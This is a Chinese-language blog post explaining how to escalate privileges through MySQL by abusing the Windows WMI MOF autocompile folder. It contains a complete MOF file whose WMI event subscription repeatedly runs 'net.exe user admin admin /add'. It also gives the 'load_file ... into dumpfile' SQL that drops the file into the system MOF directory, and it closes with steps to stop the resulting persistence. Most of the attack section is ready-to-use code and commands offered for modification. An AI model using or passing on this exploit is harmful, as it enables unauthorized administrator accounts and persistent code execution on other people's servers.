原理解读:

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

注意:
第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

下面的代码是mof文件内容,默认添加一个admin的账户,可以自行修改

-------------------------------XXX.MOF-----------------------------------------------------------

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
 {
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };

instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
 };

instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };

-------------------------------XXX.MOF end-----------------------------------------------------------

最近的MYSQL提权也是利用此法.
1.找个可写目录,上传或新建mof文件

mysql之mof提权详解-LMLPHP
2.执行sql

select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

//注意这里C:\\www\\nullevt.mof是你上传mof文件的随意路径,但后面的那个路径是固定的

mysql之mof提权详解-LMLPHP

注意已执行的mof会一直不停地执行,每隔5秒执行一次mof文件里面的cmd,昨天测试的时候放了个.mof到C:\WINDOWS\system32\wbem\mof\ 从昨天晚上一直到现在还在每过5秒就执行次
加个用户,搞的我郁闷死了。。。

mysql之mof提权详解-LMLPHP

解决办法:

第一 net stop winmgmt 停止服务,
 第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\
 第三 net start winmgmt 启动服务
 第四:完毕不会在执行了。

mysql之mof提权详解-LMLPHP

C:\WINDOWS\system32\wbem\Repository\ 放的是储存库 我们执行的.mof都会被加入到这个库了。然后一直按脚本设置的时间执行。。 删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了。

04-27 01:05